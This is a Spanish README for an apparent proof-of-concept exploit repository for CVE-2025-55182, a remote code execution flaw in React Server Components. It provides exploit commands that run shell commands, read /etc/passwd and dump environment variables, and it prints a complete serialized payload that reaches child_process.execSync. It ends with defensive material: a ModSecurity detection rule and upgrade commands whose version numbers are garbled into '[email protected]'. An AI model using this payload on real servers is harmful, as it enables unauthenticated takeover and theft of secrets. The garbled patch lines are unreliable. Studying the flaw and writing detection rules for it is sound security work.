
Advertencia: Este proyecto debe utilizarse solo con fines de investigación y educación en seguridad. Utilizarlo en sistemas de terceros sin autorización es ilegal.
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2025-55182 |
| Alias | React2Shell |
| Puntuación CVSS | 10.0 (Critical - severidad máxima) |
| Tipo de vulnerabilidad | Unauthenticated Remote Code Execution (RCE) |
| Descubridor | Lachlan Davidson |
| Fecha de divulgación | 3 de diciembre de 2025 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # Este archivo
├── vulnerable-server/ # Servidor Next.js vulnerable
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # PoC de ataque
│ ├── package.json
│ ├── poc.js # Script de ataque RCE
│ └── check-vulnerability.js # Script de comprobación de vulnerabilidad
└── React2Shell-CVE-2025-55182-original-poc/ # Referencia del PoC original
# Instalación de dependencias
cd vulnerable-server
npm install
# Ejecutar el servidor en modo de desarrollo (puerto 3000)
npm run dev
El servidor se ejecutará en http://localhost:3000.
En una nueva terminal:
# Instalación de dependencias
cd exploit
npm install
# Comprobación de vulnerabilidad
npm run check
# Ejecutar el PoC (modo de prueba)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# Ejecutar el comando id
node poc.js -t http://localhost:3000 -m rce -c "id"
# Leer un archivo
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# Información del sistema
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
Ocurre al deserializar los datos enviados por el cliente en el protocolo Flight de React Server Components.
La función requireModule confía en los nombres de propiedades enviados por el cliente sin validarlos
→ al ejecutar moduleExports[metadata[NAME]] no se realiza la comprobación hasOwnProperty
→ es posible manipular la cadena de prototipos (Server-Side Prototype Pollution)
→ se obtiene el constructor Function → RCE
$@x - obtención de la referencia del objeto Chunk.thenstatus: resolved_model_response, _formData, etc.$1:constructor:constructornew Function(código malicioso){
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# Usuarios de 15.0.x
npm install [email protected]
# Usuarios de 15.1.x
npm install [email protected]
# Usuarios de 15.2.x
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POSTNext-Actionmultipart/form-data$@, resolved_model, constructor en el cuerpo# Detección de payloads Flight sospechosos
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
Este proyecto se proporciona únicamente con fines educativos y de investigación. Se prohíbe su uso con fines maliciosos.
Nota: Si encuentras esta vulnerabilidad en un entorno real, aplícale un parche de inmediato. Si se confirma un ataque, notifica al equipo de seguridad y realiza una investigación de compromiso.